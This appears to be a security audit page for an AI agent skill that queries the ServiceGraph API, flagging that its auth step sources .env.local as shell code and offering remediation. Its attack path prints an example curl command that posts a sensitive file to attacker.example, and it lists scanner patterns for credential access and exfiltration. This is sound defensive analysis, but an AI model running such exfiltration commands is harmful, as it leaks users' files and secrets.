Back to skill

Security audit

Find Ai Consultancy

Security checks for vulnerabilities and agentic risk

Overview

The skill’s ServiceGraph lookup behavior matches its purpose, but its recommended auth command unsafely sources a local dotenv file as shell code.

Review before installing. The catalog/API behavior is disclosed and coherent, but use the ServiceGraph MCP/OAuth path or export SERVICEGRAPH_API_KEY from a trusted secret manager instead of letting an agent source .env.local as shell code. Confirm paid unlocks before spending credits.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (1)

T09 · Insecure Skill Coding Practices

Warning
Location
SKILL.md:91
Finding

Arbitrary Shell Execution Through Unsafe Dotenv Sourcing

Content
View full analysis

Vulnerability Details

File Location: SKILL.md, lines 91–95
Vulnerability Type: Unsafe execution of a configuration file
Risk Level: Medium

Vulnerable Code

bash
( set -a; [ -f .env.local ] && . ./.env.local; set +a;
  curl -sS -H "Authorization: Bearer $SERVICEGRAPH_API_KEY" \
       'https://api.servicegraph.co/v1/datasets/pro_services/fields' )

Technical Analysis

The prescribed authentication workflow loads .env.local with the shell . command. Sourcing a file executes it as shell code; it does not safely parse it as a passive dotenv configuration file.

A malicious or compromised .env.local can therefore contain arbitrary commands, command substitutions, shell functions, redirections, or environment manipulation. These instructions execute before the intended API request and with the same operating-system privileges as the agent or shell process.

The Skill only needs to retrieve SERVICEGRAPH_API_KEY. Executing the entire file exceeds the minimum privilege and behavior necessary for that purpose. Although the project does not include a malicious .env.local, the documented workflow creates an exploitable trust-boundary violation whenever it is used in an attacker-controlled or compromised working directory.

Attack Path

  1. An attacker gains the ability to create or modify .env.local in the directory where the Skill's command will run.

  2. The attacker inserts shell instructions into that file, for example:

    bash
    SERVICEGRAPH_API_KEY=vk_example
    curl -X POST --data-binary @sensitive-file https://attacker.example/upload
    
  3. The agent follows the documented authentication procedure.

  4. [ -f .env.local ] succeeds and . ./.env.local sources the file.

  5. The attacker's commands execute before curl contacts the legitimate ServiceGraph API.

  6. The legitimate request may still complete, reducing the likelihood that the compromise is immediately noticed.

Impact Assessment

Successful exploit ...[truncated 799 chars]

Remediation
View remediation

Remediation Suggestions

Do not source .env.local or any other configuration file as shell code.

  1. Prefer obtaining SERVICEGRAPH_API_KEY from an environment variable injected by the trusted harness or secret manager:

    bash
    test -n "$SERVICEGRAPH_API_KEY" || {
      echo "SERVICEGRAPH_API_KEY is not configured" >&2
      exit 1
    }
    
    curl -sS \
      -H "Authorization: Bearer $SERVICEGRAPH_API_KEY" \
      'https://api.servicegraph.co/v1/datasets/pro_services/fields'
    
  2. If dotenv support is essential, use a non-executing dotenv parser rather than source or .. Parse only the exact SERVICEGRAPH_API_KEY field and reject shell syntax, duplicate definitions, malformed quoting, command substitutions, and unexpected keys.

  3. Validate the extracted value against the expected key format before use. Avoid printing it in command output, logs, error messages, or model-visible context.

  4. Treat project-controlled configuration files as untrusted unless their integrity and ownership have been verified.

  5. Prefer the documented ServiceGraph MCP integration when available because it keeps OAuth credentials inside the harness sandbox rather than exposing them to project shell commands.

  6. Run outbound API operations with only the filesystem, environment, and network permissions required for the task.

Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
Findings (2)

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · SKILL.md (reported line 83)May include surrounding context.

.env.local:

bash
( set -a; [ -f .env.local ] && . ./.env.local; set +a;
  curl -sS -H "Authorization: Bearer $SERVICEGRAPH_API_KEY" \
       'https://api.servicegraph.co/v1/datasets/pro_services/fields' )

External Transmission

Medium
Category
Data Exfiltration
Confidence
50% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · SKILL.md (reported line 85)May include surrounding context.

bash
   ( set -a; [ -f .env.local ] && . ./.env.local; set +a;
     curl -sS -H "Authorization: Bearer $SERVICEGRAPH_API_KEY" \
          'https://api.servicegraph.co/v1/datasets/pro_services/fields' )
  1. On 401 prompt the user (don't accept the key in chat):